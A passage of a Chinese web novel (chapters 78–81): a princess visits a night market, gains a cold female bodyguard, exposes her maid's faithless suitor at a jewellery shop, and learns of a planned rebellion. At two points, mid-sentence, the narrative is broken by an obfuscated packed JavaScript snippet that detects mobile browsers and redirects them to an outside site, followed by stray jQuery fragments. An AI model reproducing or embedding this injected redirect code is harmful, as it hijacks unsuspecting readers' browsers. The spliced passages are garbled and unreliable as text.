她听得昏昏欲睡,正待又要去见周公的时候,文瑶问道:“妹妹?你怎么又困了?快过来看看,哪个颜色适合我?我都挑花眼了。” 暖暖起身,挺了挺后背稍稍活动一下,扫了一眼胭脂盒,从中拿了一盒桃粉色的,在她脸颊上比了比,说道:“姐姐的皮肤如珍珠般光滑细嫩,用这粉色的再合适不过了。” “好,就听妹妹的,成娘子,帮我包这个颜色的。” 看着店家娘子痛快地去离去,暖暖打着哈欠说道:“文姐姐,我困倦得很,想回去睡了。” “你还没挑胭脂呢?” 暖暖本来不缺这些,但是为了快些离开这里,便随手选了两盒,然后命舒雁去结账。 文瑶阻止道:“我送妹妹,成娘子,再把这两个颜色也包上,记文家账上。” 那成娘子见今日做了笔大买卖,脸上的笑容愈发好看了,利落地吩咐小丫头包了胭脂,恭恭敬敬地送两位大小姐出门。 文瑶与暖暖拜别后,上了自己的马车,向西而行,暖暖的马车向西行,过了转角,她来了精神,掀开车帷对季萧说道:“去龙津桥。” 78. 思君如潮水 舒雁疑惑地问道:“去龙津桥做什么?郡主不是困倦了吗?” 还未等暖暖说什么,季萧说道:“郡主是与文家小姐在一起才犯困。” 小心思被戳破,暖暖白了他一眼:“就你明白!你回去,让画眉带着银子到龙津梅家楼那里找我,今日郡主带你们吃喝玩乐。” 季萧自然高兴,可是心中又不免担心:龙津桥那里的夜市最为热闹,可是鱼龙混杂,恐出现什么差池。但郡主的命令他不得不听,转身对一个侍卫吩咐了几句,那侍卫应了几声“是”后,两腿将轻轻一挟,径往王府而去。 暮日西斜,夜市开场。自龙津桥向南的一整条街,满是各种小摊食店。各种旋煎、元子、从食数不胜数,期间还有冰雪冷元子、生淹水木瓜、甘草冰雪凉水、荔枝膏、梅子姜等小食甜水。再往里走,还有杂耍、相扑、博戏等娱乐。 暖暖吃了几份小食便饱了,看着舒雁和画眉意犹未尽,便放了别人去自己玩,她则坐在桥边的亭子下休息等她们回来。 季萧随身护卫,他紧握手中剑,小心留意周围的动静。刚才他让侍卫回去不仅仅是接画眉,还调派了暗卫潜在了龙津桥周围。 暖暖倚着栏杆看着熙攘的人群,又抬头看看天上的月亮。还未到望日,月亮不是很圆,皎皎清光洒向大地,却被人间的的灯火湮灭。 这里没有火光,让她能抓住一缕月色,这缕月色将她包裹,却给她带来了无尽的落寞与惆怅。 舒雁担心郡主的安危,不多时便与画眉回来,还给郡主带回来一盒杏干,这是郡主最爱的,每次喝完药都要来上几颗。 暖暖拿了一颗放进嘴里,熟悉的味道,让她的眼泪瞬间滑落。 舒雁不明所以,以为是这杏干难吃,小心地叫了声“郡主”。 暖暖控制情绪,笑了一下,掩饰道:“太酸了。” 方才在道观里的那份平静哪去了?这思绪怎么又不受控制了?她将盒子交给舒雁:“以后不要买了,不好吃……” 入夜她心情沉重得无法自拔,思念如同妖魔一般吞噬着她的内心,就像千里浓云笼罩在她的胸口,压得她难以呼吸,及至三更天,她饮了几盏酒后方才入睡。 清晨,门窗一开,茉莉的清新扑面而来,她深吸一口气,顿觉周身爽利。 用过早膳,她剪了几支茉莉插入书房的瓷瓶里,找出那本建安辞赋,抄写起来,曹子建的辞赋抒情豪放、意境深远,她近来十分喜爱。 窗户开着,一阵清风送来几瓣海棠,散落在纸上,令那些文字变得好看起来。 她很专注,叶皓进来她都没有发觉。 “这字不错,越发长进了。” 暖暖被吓了一跳,舒了一口气,笑道:“哥哥,什么时候来的?今日没去任上?” “刚到,今日休沐……你这落花满纸,别有一番风趣,倒不如把这些花画到纸上。” “倒是个不错的主意。” “昨日玩得怎么样?” “还好……” “怎么,不开心?”叶皓的目光从纸上移到她的脸上。 “也不是,只是觉得和文瑶没什么话说。” “那我就回帖说你有事,不便相见。”叶皓说完扬了扬手中的拜帖。 “文家的拜帖?”暖暖接过,看了一眼,大意是昨日未能尽兴,明日再来拜访她,她将帖子放下,说道:“且让我想想。” “不想见就拒绝,有什么犹豫的?” “拿人家手短,昨日她送我两盒胭脂,现在拒绝人家,太冒犯了。”暖暖说完,想起昨日的胭脂来,对舒雁说道:“昨日的胭脂,你跟画眉一人一盒,拿去用吧。” “郡主,胭脂价格不菲,给奴婢们用怕是糟践了好东西。” “那两个颜色更称你们的肤色,去拿吧。” 舒雁称是,行礼告退。 叶皓掐了一朵半开的茉莉,放在鼻下闻了闻,笑道:“借花献佛,收买人心,学得倒是挺快。” “我可是真心的,我也是真心不想要,文瑶非要送给我。” “两盒胭脂而已。”叶皓将茉莉丢在笔洗里,洁白的花朵漂浮在灰黑色的水面上,恰似水墨写意。 “你可知这一盒胭脂,抵得过我这儿丫头一个月的月银……再者,哥哥现在正是要收拢人心的时候,我若是伤了文瑶,怕是文家不满。” 叶皓抬眸看了一眼她,未想她能考虑到这一点,这倒有些出乎他的意料,果然是成长了不少,但他却不愿她有这些思虑。 “心眼倒是长不少,政事错综复杂,只有我和三哥去周旋,不用你劳心。今日,我给你带个人过来。”说完,他对外面说了声进来。 一个侍卫装扮的女子闻声而入,只见她面容冷酷、气质寒冰,跪地叩首拜道:“冰绡拜见郡主。” 叶皓接话:“起来吧。”说罢拿起笔在纸上写下“冰绡”二字。 冰绡起身,也不道谢,只是目光低垂,她目光的低垂不似舒雁那般颔首低眉,目光温柔,而仅仅是不直视对方的目光。 暖暖看着这那两个字:“原来是这两个字,是个好名字。” 她又看了一眼这个女子,眉眼清冷,面若含冰,倒是与这名字极相称,这女子虽不直视她,但是她还是感觉到那目光里的警惕。 叶皓说道:“是侍卫营中功夫最好的女侍卫,之前让季萧护卫你,是我思虑不周,他毕竟是男子,多有不便,以后就让她跟着你。” “还是哥哥想到周到。”她唤来舒雁吩咐道:“舒雁,给冰绡安排个房间,起居梳妆等一应物品照着你的准备一套。”而后转向冰绡:“先去休息吧。” 舒雁上前想拉着冰绡的手同去,却被她一闪身躲开了,舒雁尴尬地收回手,只在前面带路,引她同去。 等他们都走后,叶皓才说道:“侍卫营中的人大都是军中收留的孤儿,从小入营,学的是拼杀之术,性情淡漠也是正常,让舒雁调教调教便是。” 他顿一顿,问道:“昨晚又喝酒了?” 暖暖收回目光:“是,不知怎的,心里难受睡不着。” “发生什么事了?” “昨日半路上碰见于文则了,没想到三哥真的派他出了京,不过看他的样子并不情愿,我心里有些愧疚。” 叶皓安慰道:“你不用愧疚,也不用理他,他这人饱食终日、穷极无聊。他同我说过,本来计划离京的,这不,还没等他动身就被三哥遣出去了,这被赶出去和自己离开,自然不是一样的心情。” “不过看你这面色,不像是只为了这些小事惆怅。” 暖暖神色黯然,在叶皓面前她什么也隐瞒不过去,索性承认道:“是因为他……昨日里一天竟想到了他三次。哥哥,我本以为换了名字、换了身份、换了地方,我就可以忘掉过去,重新开始。” “可是,那些回忆就如同潮水一般,时涨时落,时时牵扯着我……可是,与他在一起的那两年,又似乎像是什么都没发生过,我依然是昔年成王府中的暖暖,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200345|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也只觉得是大梦一场……”她心中酸涩,闭上眼睛叹了口气。 叶皓拿起帕子给她,说道:“你放不下他。” “可我明明是恨他,想把他忘掉,哥哥,我到底要怎样才能将他忘记。” “这不是你的问题,人的心境是会变的,当时你的确是这样想的,可是你们一起经历了这么多,怎么可能忘记,既然忘不掉就不要刻意去忘记,时间会抚平一切的,你现在只需好好生活,不要想太多了。” 暖暖擦了眼角的泪滴,点点头说道;“我也知道,可就是忍不住乱想。” 叶皓还是有些不放心:“我还是去给文家回个帖子,让文瑶明日过来陪陪你,你这个样子,真让人担心……” 话音刚落,舒雁进来回禀:“季萧有事回禀,在外等候殿下。” 叶皓便出来,季萧边走边说道:“已将昨日殿下在侍卫营挑选的人全带回来了,已排在府中各处了。” “好,那件事怎么样了?” “已经查清楚了,属下这就去安排,殿下只等消息即可。” “好,下去吧。”叶皓陷入思绪,昨日将这两年的事情从头到尾细细地思量了一番,时局像是陷入了一个僵局,杜家没有动静,他和叶均也无从下手。原因到底出在哪里,他想不明白。 他又去找了周太尉,周朗分析或是杜家内部出了矛盾,不论怎样,现在要沉得住气,做好准备以应对不时之需。 现下,也只能这样了。 次日,叶皓早早去任上了。他前脚刚走,文瑶后脚就到了,暖暖未想她能来这样早,匆匆起来梳妆。 “我的好姐姐,怎么这样早?你是把药铺给搬来了吗?”她看着大包小包的药材说道。 “这是‘三白汤’用的草药,喝上几副,肤色便会变得亮一些。这些草药还有调理气血的用处,比玉容丸好。” “好,回头我慢慢喝,姐姐与我一起用早膳吧。” “我早就吃过饭了,就在这里等你。” 起得太早,暖暖并没有什么胃口,只用了半碗粥,画眉悄声抱怨道:“温小姐来这样早,害得郡主吃不下东西,她定是为了见殿下一眼,可巧偏偏就错过了。” 暖暖听了,才发觉原来是这个缘故,忽然又想到前日里自己那懒散的态度,文瑶一定会有所察觉,于是便想着今日一定要热情些,以尽地主之谊。 用完早膳回来,见文瑶正在绣着她放下很久的香囊,便笑着说道:“这香囊从过年绣到现在也没绣完,姐姐今天帮我绣完吧。” 文瑶笑意盈盈地说道:“妹妹喜欢茉莉?院中栽了这么多茉莉,这香囊上绣的也是茉莉呢。” “以前喜欢桂花,后来喜欢茉莉。”暖暖以为这变化只是有孕的缘故,慢慢还会改过来,可已经过去这么久了,也没有改回来。 文瑶指着院里里的花草说道:“庭中的茉莉都是好品种,那笔尖茉莉最香,花期长,花量多,最适合做香料。” “那我命人摘些茉莉晒干,回头装在这香囊里送给姐姐。” “这算什么,我自己绣的送给自己?” 暖暖也笑道:“我的绣工姐姐见了要笑的。” 二人一阵说笑,文瑶说话虽心直了些,却十分得体,暖暖从她身上能看出一个出色的当家主母的影子,她不禁感叹到:“姐姐这般贤惠端庄,以后谁家娶了姐姐便是得了天大的福气。” 文瑶听闻此言,面上笑容消失,眸中笼上了一层阴霾,头也微微低垂下去。 79. 杨柳恋春风 文瑶停了手中的针线,眸光一掠,眼底有些黯然:“郡主,我今日与你说几句掏心窝子的话,你不是不知道我的心思,我仰慕四殿下已不是一日两日。自那年春日,在石城湖畔见了殿下一面,便心里再放不下别人。” “我当初接近妹妹,的确是为了四殿下,但我对妹妹确实是真心实意……为了四殿下,我不肯议婚事,外人都只当我挑剔或者埋怨哥嫂不上心,其实是我拿定主意,非四殿下不嫁,可四殿下他连看我一眼都不愿意。”文瑶说到委屈处,竟拉着暖暖的手呜呜咽咽地哭起来。 “姐姐……”暖暖看着她这一片真情,心下叹息,却也不知如何劝解。 文瑶平复情绪后方觉刚才太过失礼,吸了吸鼻子,找补道:“妹妹不要笑话我,这些事、这些话除嫂嫂,也只能对妹妹说说了,妹妹若是觉得我轻浮,那我便再不来打扰妹妹。” 她的嘴微张着,眼角挂着泪珠眼神中带着忧伤与期待,让人无限怜悯,暖暖也不由心生恻隐,安慰道:“姐姐哪里的话,姐姐真心待我,我也将姐姐当知己。只是姐姐,我哥哥他的心思不在这里,甚至都不在京中,我只怕姐姐这份真心错付了。” 暖暖说得很委婉,没有直接说明叶皓心中根本没有文瑶,但文瑶却明白:“我都知道……我也知道殿下与那琴伎的事,可我不在乎。为了我的事,哥哥与我生气了好多次;嫂嫂也曾去宫中试探过,你知道我家的门第是不够的……可我就是不甘心,我只想陪在殿下身边,哪怕是做妾都可以。” 暖暖看着眼前这女子,多么骄傲的一个人,竟然说出这番话来,可见她真是用情至深了。但也被这份情冲昏头脑,有些痴心妄想了,且不说叶皓愿不愿意,按规矩亲王不立正妃,身边的女子是不可有名分的。 她心中默默叹气:真是个痴女子。 文瑶从怀中掏出一个绣着彩蝶牡丹的香囊,双手交到暖暖手里,委身下去:“妹妹,帮帮姐姐,将这个送给四殿下。” 暖暖忙将她扶起:“姐姐快起来,这个交给他倒好说,但我只怕他不收。” “殿下他收与不收,我都感激妹妹一辈子。”文瑶擦着泪 暖暖忙双手扶住她,说道;“我答应姐姐便是,姐姐何苦这样,只是,我哥哥近日来事务繁忙,等他闲下来我再同他说。”说完对文瑶点了点头,轻轻拍了拍她的手。 文瑶感激不尽,双手紧紧地握着她的手,似乎将全部希望都寄托在了这里。 暖暖唤人打水进来为文瑶净了面,又重新梳妆一番后,文瑶告辞。 她看着文瑶远去的马车心中犯愁,不如何是好。 午膳后,暖暖在书房练字,舒雁进来说韦素来传话,而且这话只能对郡主一个人说,她便屏退了左右,让韦素进来回话。 韦素见礼后回道:“殿下命属下来告诉郡主,请郡主明日巳时到祥记银楼去看看,务必带上画眉。” 暖暖一听便知何事,没想到叶皓竟然会对此事上心,她好奇地问道:“可有什么安排?” “是季萧安排的,郡主只管带着画眉去就是了。” 季萧安排我,韦素也不一定知情,暖暖也不追问,只说道:“好,我一定去,信王今天几时回来?” “殿下今晚约了朋友,可能晚些回来。” “怪不得还遣你过来一趟,辛苦了,喝口茶再去吧。”说完唤舒雁端茶进来。 “属下还有要务在身,郡主恕罪,属下先行告辞了。”韦素说完行礼退下了。 暖暖看着案几上的香囊,心中感叹:脚伤还未好,还想着会友,唉!也许真该有个人好好收收他的心。 这时,舒雁端着茶进来,脸上似乎有些不高兴,她很少在主子面前透露情绪,这般不满定是实在难忍了。 暖暖放下笔,问道:“怎么了?脸色这般不好?” “郡主恕罪。” “这个也让我恕罪、那个也让我恕罪,这算什么过错?发生了什么事?” 舒雁皱了皱眉头:“奴婢原不该背后嚼舌根,但冰绡这人也太不近人情了些。奴婢遵照郡主的意思,给她备下用品,只留下了一床被褥,其余东西全都摆在了廊下。画眉好心帮她收拾包袱,却被她反手捏住了手腕,骨头差点没断了,现在还在哭呢。” “奴婢让她让她换了衣衫到郡主跟前来服侍,她却说她的职责只是护卫郡主安全,其余不管,说罢便将奴婢赶了出来……”舒雁越说越觉得委屈。 “随她去吧,刚才哥哥也说了她是侍卫营出身,性子清冷也正常。”暖暖换了一页纸,她想了一下说道:“去告诉画眉,不要哭了,明日咱们出去转转。” “郡主要去哪里?奴婢去准备衣衫,告诉高管家安排车架。” “去祥记银楼,挑些首饰。”暖暖边说边猜测着明日会发生什么事情。 这一日真是纷杂,文瑶的事还没解决,明日又要去处理画眉的事,且季萧一点消息也没给她,让她不知该如何准备。 或是白日里的多思多虑,晚间她只觉右侧的头疼痛不已,晚膳用的一碗粥,不多时也全都吐了出去。 舒雁一边为她揉着头一边说道:“郡主这头痛越来越严重了,要不明日请个医馆来瞧一瞧。” 暖暖闭着眼睛说道:“不必了,睡一觉便好了,请了医官又要惹得众人都知道,还要喝苦药……好了,去休息吧,我要睡了。” 她躺下后辗转反侧,头上如缠了一个铁箍一般,又疼又涨,连带着眼睛都不舒服。实在难以入眠,她起身找出一小坛酒,喝了一大口,想着等会酒劲上来便能安睡。 酒香沁人心脾,可有酒怎能无月?她轻轻地走到窗前,伸手推开窗子,还没等窗子全打开,一只个拳头便向她打来,她下意识地用拿着酒坛的右手一挡,那只拳头便砸在酒坛上,酒坛粉碎在地。 紧接着一把带鞘的剑向她脖颈间抵来,她顺手拿起叉杆一挡,对方却力道极大,她一只脚向后错了半步,用全力踩住地面才稳住身形。 借着廊下的灯笼的光,她看清了是冰绡,才松了口气。 冰绡此时也看清了是郡主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209385|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼中的杀气变成疑惑又变成自责,她快速收了剑,立即跪下。 此时舒雁也来到了跟前,她在外间刚刚睡着便听见了坛子碎裂的声音,便慌忙进来,但见郡主立在窗前,冰绡跪在窗外。 冰绡抱拳请罪道:“不想是郡主,伤到了郡主,请郡主责罚。” 暖暖隔着窗子问道:“大半夜你在这里干什么?” “护卫郡主安全。”冰绡一丝不苟地回答。 暖暖有些想笑,问道:“这里是信王府,自有重重护卫,这大半夜的能有什么危险?进来说话。” 她见冰绡的手背被碎瓷片划伤了,还在滴着血,转身又对舒雁说道:“快去拿些金疮药来……对了,还有积雪霜。” 舒雁麻利地去了,暖暖将屋里的蜡烛都点燃,冰绡进来,她拍拍身边的垫子说道:“过来坐。” 冰绡左手提着剑,右手握拳,直挺挺地站着说道:“这不合规矩。” “这里是我的寝殿,没有别人,不必讲那么多规矩。” 舒雁端来水和药膏,也说道:“伤口要尽快处理一下。” 看着她们二人剪布条,调药膏,冰绡迟疑了一下,终究还是没有落座。 舒雁用软布将她手上的血迹一点点擦掉,露出两道伤口,暖暖将调好的药膏一点点涂在伤口上,只觉她满手老茧,也正是因为有茧子,伤口才没有多深。 药膏接触到伤口,冰绡的指间轻微颤动了一下,但又很快稳住,暖暖察觉到,手上的动作更加轻柔,最后轻轻地吹吹了一下涂好的药膏,说道:“好了,舒雁,包扎吧,手不要沾水,这几日好好休息,不用过来了。” 舒雁为冰绡包扎好便将水盆等物端出去处理,冰绡看着包扎好的手,说道:“多谢郡主,这点小伤不算什么,郡主安危重要。” 还真是个死心眼,暖暖笑着又强调了一遍:“这里是信王府,自有护卫看守,不用你守夜。这是积雪霜,等结痂掉了再涂,不会留下疤痕的。” 冰绡接过积雪霜,规规矩矩地叩首,说道:“多谢郡主。”她说完未走,似乎有话想说。 在她心中,高门贵女都是柔柔弱弱的,娇生惯养的,但这个郡主竟然有些功夫在身上。 暖暖见她不动,便问道:“还有什么事吗?” “属下有一事想问郡主。” “但说无妨。” 冰绡迟疑地问道:“郡主……可会功夫。” “哦……会一点点,我哥哥教我的。”有了前车之鉴,暖暖这次不等她问便提前交待。 冰绡解了心中疑惑,便要告退。 暖暖想起明日的事来,她需带着冰绡,万一出什么岔子,自己怕是应付不了,于是说道:“回去休息吧,明日随我出去一趟。” 原来郡主会功夫这件事这么令人生疑,暖暖看了看自己的手,茧子已经没有了,功夫大约也忘得差不多了。 经过这么一番折腾,她忽觉头不疼了,今晚可以睡个好觉。 冰绡自然是没有回去,在外守了一夜。 80. 执迷痴心错 次日,暖暖一早起来准备出门,却见冰绡依旧一身黑色侍卫装束,不由得皱了皱眉头,说道:“冰绡,咱们是去游玩,你这身衣服太惹眼了,去换一身衣服。还有,把剑也收起来,带着武器反而容易招来不必要的麻烦。” 冰绡不能抗命,只得回屋换了身侍女的衣服,虽放下了剑,但是全身上下藏满了暗器。 还未到祥记银楼,车架中突然被抛进一节树枝,树枝上绑着一卷纸片,真是好身手,马车速度不慢,且周围有护卫,竟然还能将树枝抛进来。 暖暖打开,上面是炭笔写的字迹:郡主就此下车。 叫停车架,透过车窗环顾四周,发现了季萧的身影,一身粗布短衣装扮,坐在小摊上吃着面。她心中哑然:看热闹不嫌事大,还这般神神秘秘的。 画眉问道:“郡主,有事吗?还没到呢。” “今日天气好,我下来走走,让马车先回去。” 主仆四人步行前去,但一转身就不见了冰绡,舒雁要去找她,被暖暖制止了:“她是侍卫出身,自会有她的一套规则。” 大约是刚刚开门,祥记银楼里还没有顾客,店家娘子一看三人衣着不凡,便知是大客户,立即喜上眉梢,笑着迎接:“我说怎么那后院里树枝上有喜鹊叫了一早,原来今日是有贵客临门,这位小姐想看看什么首饰?” “拿几支簪钗来看看。” “好,小姐请到东阁喝口茶。” 店家娘子忙吩咐人上茶,她则亲自去挑了几支簪钗,放在用暗红色丝绸包裹的托盘里端到了暖暖跟前。 暖暖每拿起一支,店家娘子便介绍一番,她能说会道,多是恭维之词,暖暖却不愿听:“娘子去忙吧,我还需好好看看。” “无妨,姑娘看着眼生,恕我眼拙,不知是哪家贵人府上的?今日天气好,姑娘多逛逛。一会姑娘选好了,我自会为姑娘送上府去。” “不必劳烦娘子,我选好了便直接带走了,再帮我拿几只手镯来。” 那店家娘子还未套出她的来路,岂能善罢甘休,若真是攀上了哪个世家,以后的买卖自然好做些。 于是,她痛快地又去拿了几支手镯。 暖暖将簪子在发间一一比过,然后再递给舒雁与画眉二人试簪,手镯端来,三人依旧不紧不慢地试戴。 过了约摸半个时辰,首饰已经换了两盘,她依旧没有挑完的意思,店家娘子脸笑道都快笑僵了,但依旧小心地陪着。 终于,外间传来一个女子的声音:“这只发钗可好看?” 紧接着是一男子的声音:“好看,但是这支更称莲娘你的容颜。” “呸,净会挑些便宜点来打发我,这支花里胡哨的,有什么好看。” 画眉听见这声音,愣了一下,透过木架格子做的隔断,看见了一个熟悉的背影,瞬间变得脸色苍白,欲抬步出去。 舒雁拉住她,眉头微蹙给了她责备的眼神,示意她郡主还咋不得失礼,又暗中用胳膊碰了一下郡主的肩头。 暖暖看了二人的动作,顺着她们的目光也看到了一男一女二人。 “外面这么吵?他们是谁?”暖暖不悦地看向店家娘子。 店家娘子向外看一眼,眼神中带上了鄙夷的神色,小声道:“女子是杨楼街莲娘,不知今日又匡了那里的小哥来买首饰。” 暖暖不解:“杨楼街是哪里?” “诶呦,瞧我,失言了,小姐莫要问了,恐污了小姐的耳朵。” 暖暖当下也明白了几分,便不再细问。 舒雁一手拉着画眉,一边悄悄对暖暖说道:“那男子是阮孝。” 暖暖很是惊讶,原来这就是季萧的安排,她看向画眉,画眉眼睛里充斥着愤怒,一时间,暖暖竟不知如何处理。 她正在思考间,画眉挣脱了舒雁的手,快步出去,将莲娘推到一边,又转身给了阮孝一记响亮的耳光。指着阮孝,浑身气得直哆嗦,说道:“你……你……竟和这样不三不四的人在一起……” 那莲娘也不是善茬,顺势倒在地上,大叫起来:“你是何人,光天化日之下竟敢动手,打人了,打人了……”说着也不给人 此时,街上的人也多了起来,门口很快就围满了人,暖暖不便出面,对舒雁耳语了几句。 舒雁对店家娘子说道:“先将店门关了。” 店家娘子有些为难:“这……这……我这还要做生意呢。”。 “今日我家小姐保你不亏本,若不关了,以后的生意也别想做了。”舒雁的语气虽温和,但却透着不容分辨的气势。 店家娘子隐约感觉到了眼前之人的权势,便行了一礼,快速地命人打发了门口看热闹的人,又虚掩上了店门。 那莲娘却不依不饶:“你们这是干什么?没有王法了吗?” 舒雁出去呵斥道:“休得无礼,惊扰了贵人。” 阮孝定睛一看,原是舒雁,又听到她这样说,便猜到了里间是谁,他吓得冷汗直流,立即朝东叩拜道:“不知贵人在此,惊扰了贵人。” 莲娘却不以为意,撒泼道:“贵人又怎样?贵人就能打人了?我与我郎君来买首饰,怎么就惹到你们了?我要去京兆尹处告你们。” 一听“郎君”二字,画眉便又忍不住上前想去打她,却被舒雁死死地拉住,怒视了她一眼,画眉委屈地哭起来。 暖暖本来只想让画眉看到阮孝的面目,断了念想也就罢了,不想画眉直接动了手,弄出这么大动静来,现下只得再想想如何收场,她在里间开口:“你就是阮孝?” “是,小的就是。”阮孝颤抖地说道。 “今日的事,你有什么解释的吗?” 阮孝毫不犹豫地指着莲娘说道:“是她……是她勾引我,给我下了套,逼我的。” 暖暖心中叹了口气,原来这个人不仅品行不端,还没有担当。 “放你娘的屁!你还算个男人吗?这些日子吃我的,用我的。你说你妹妹给了你银钱便还我,如今买件首饰还要挑便宜的……” 舒雁见她言行粗鄙,呵斥道:“住嘴,这里不是你撒野的地方。” “呦,这位姑娘是府尹还是少卿?管得可真够宽的,你管得了那个小蹄子却管不了我。喂,我说你呢!你打了我你哭什么?”莲娘说着爬起身来,一手叉着腰板一手指着画眉。 见此情此 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阮孝又扣来几首,连滚带爬地逃出店去,期间没看画眉一眼。 这一场闹剧终于结束了,店里的伙计重新打开了店门,阳光照进来,将阴霾一扫而光。 舒雁拉着哭哭啼啼的画眉进了里间,将她按在地上,给郡主赔罪。 暖暖的眸子因这荒唐事染上了几分愠怒,她低着嗓音说道:“有什么好哭的?看来的确是我平日里太纵着你了。” 画眉心中害怕,止住了哭泣,但依旧默默地掉着眼泪。 “起来吧,这里不是说这些的地方,回家。”暖暖起身欲离开。 经此一出,店家娘子也隐约猜到了来人身份不凡,便端了一壶好茶进来,只字不提方才之事,只陪笑道:“姑娘,这些簪子可有中意的?” 暖暖随手拿了四支簪子交给店家娘子。 店家娘子拿出手帕垫着手接过簪子,笑道:“小姐少待,我去替小姐包起来。”很快,她又进来了,簪子已经装进了精致的木盒中,笑道:“一共八十两。” 舒雁面露难色,凑到郡主跟前小声说道:“咱们没带这么多。” 真是尴尬,暖暖面色一阵青白,厉声说道:“回去拿!” 从未见过郡主如此动怒,舒雁听了心头一颤,她进退两难,想回去但又担心郡主的安危,小心说道:“小……小姐同奴婢一道回去,再遣人送银钱来。” 店家娘子怕她们跑路,忙说道:“怎敢劳烦姑娘再送一趟,我这就派人送小姐回去。” 暖暖心中有气,冷冷地说道:“娘子放心,我将我自己押在这里,舒雁还愣着做什么,快去!” 舒雁只得出去找季萧帮忙。 画眉依旧在默默地流泪,暖暖看着心烦,喝了一口茶说道:“何苦为这样的人哭泣,也不必委屈,不就是失了些银钱嘛,权当丢了,权当买教训了。” 暖暖不仅气画眉识人不清,也气自己不听劝谏,舒雁与叶皓早就已说明这阮孝不可靠,她却未能及时制止画眉。 不多时外面传来一个熟悉的声音:“珍娘子,我上次送来的珠钗修好了吗?” 81. 忽觉事不同 暖暖透过格子的目光正对上与那女子扭头看过来的目光,是锦瑟,她忙将目光移向别处,反而是锦瑟去大大方方进来,见礼道:“叶小姐,好久不见。” 暖暖只装作不知她与叶皓决绝之事,点头示意,请她入座。 锦瑟也不客气,坐下后拿起桌上的盒子便打开,拿出簪子仔细瞧了瞧,赞道:“真是不俗。” “随便挑的。” “你看这簪子的样式……”锦瑟说着将簪子蘸了茶水,在案几上写下:杜家欲反,宫中有变。 暖暖侧目看见了这几个字,心中一骇,甚是吃惊。“杜家欲反”,这她是知道的,但“宫中有变”,是什么意思?一时间脑海中思绪乱如麻,只愣愣地看着这几个字,又看着锦瑟用帕子将水渍擦掉,没有留下任何痕迹。 “怎么样?”锦瑟的话打断了她。 暖暖抬头,蹙着眉看着锦瑟。 锦瑟直视她的目光,睫毛动了一下,将那簪子交到了她手:“这只簪子最适合叶小姐了。” 此时,店家娘子进来,说道:“锦瑟姑娘,您的簪子。” “这簪子修得比原来还好,多谢。”锦瑟接过簪子端详了一阵,而后插在了发髻上。 见她满意,店家娘子也也笑道:“本想今日给姑娘送去,只是没抽出空来,劳烦姑娘跑一趟。” “亏得今日来了,不然也不会遇见……故人,杜公子的马车还在外等着我,先告辞了。”说完起身行礼告退。 店家娘子将锦瑟送出去,边走边说道:“姑娘真是好人缘,不仅有杜家这棵大树,还识得这么多贵人……过几日有一批钗环要送来,我挑好的给姑娘送过去。” 暖暖看着手中的簪子,一时捋不出头绪来,她现在只想尽快去找叶皓,便起身来到外间。 店家娘子刚回来见她要走,忙迎上去,看似无意地拦在她面前说道:“小姐不看看别的首饰了吗?您的簪子还没拿呢,若是小姐着急回去,不如让我们店里的伙计送您。”说完给店里的伙计使了个眼色,那伙计快步进去抱了盒子出来,站到了暖暖身边。 那活计还没站稳,膝盖就被什么东西打了一下,疼得他“诶呦”一声跪倒在地。 此时,冰绡从外面进来,行礼道:“奴婢来接小姐回家。” 店家娘子见来人不善,笑脸一下子就垮了下来,说道:“站住,小姐怕不是要赖账吧。”说完就要去拉暖暖的手臂,但是她的手还没触及衣袖就被冰绡打了一掌在肩上,她身子向后一个趔趄:“你……你们……”珍娘子想说什么,却被冰绡的眼神吓得将话咽了回去。 此刻,舒雁进来,拿出来一百两的银票交给暖暖,暖暖甩到店家娘子手中:“不用找了。”说完就快步出去了。 马车已在外面等候,驾车之人已换成了季萧,暖暖问他:“信王在哪里?我要去找他。” 季萧见她面色严肃,直呼叶皓为信王,“殿下今日去神武营了,郡主先回府还是去找殿下?” “去神武营!”暖暖话刚出口又觉不妥,此事如何在外面说,她深吸一口气稳住阵脚,改口道:“先回府。” “是,属下派人去告知殿下早些回来。”季萧掉转马头,向王府而去。 回到淡云阁书房,画眉肿着眼睛,跪在郡主面前请罪道:“请郡主责罚。” 暖暖心乱如麻:“你想让我怎么责罚你?” 画眉小声啜泣并不回答。 舒雁说道:“今日郡主没有拆穿,顺着那女子的话,只说你是阮孝的妹妹,已是给你留了颜面了。若是让外人知道了实情,王府的面子往哪里放,你的面子往哪里放?” 暖暖叹了口气:“责罚你又有什么用?遇人不淑,这不是你的错。好在,今日你看清了他的面目,早日断了念想为好。我气的是你不听舒雁劝阻,非要与这等人交往;气你今日的莽撞,差点毁了清誉。” “是奴婢糊涂……早该听舒雁姐姐的话……”画眉已是泣不成声。 “画眉,今日闹出此等事来,我不得不罚你,那一百两银钱记在你那里,什么时候还清了,什么时候才能给你身契。”说完,她拿过一个盒子交到画眉手中,继续说道:不是我耽误你,我何尝不想你能有个好归宿,只是这个人不行……舒雁,带她休息去吧,这几日不用过来伺候了。” “是,谢郡主。”画眉磕头,由舒雁领着去了。 不多时,舒雁又端了茶进来:“郡主劳累了半日,要传膳吗?” 头又开始不适,暖暖用手揉了揉,说道:“不了,没有味口,画眉如何了?” “她是伤心狠了,奴婢给她喝了些安神的茶,已经睡下了。” “这几日多劝劝她,别让她想不开。” 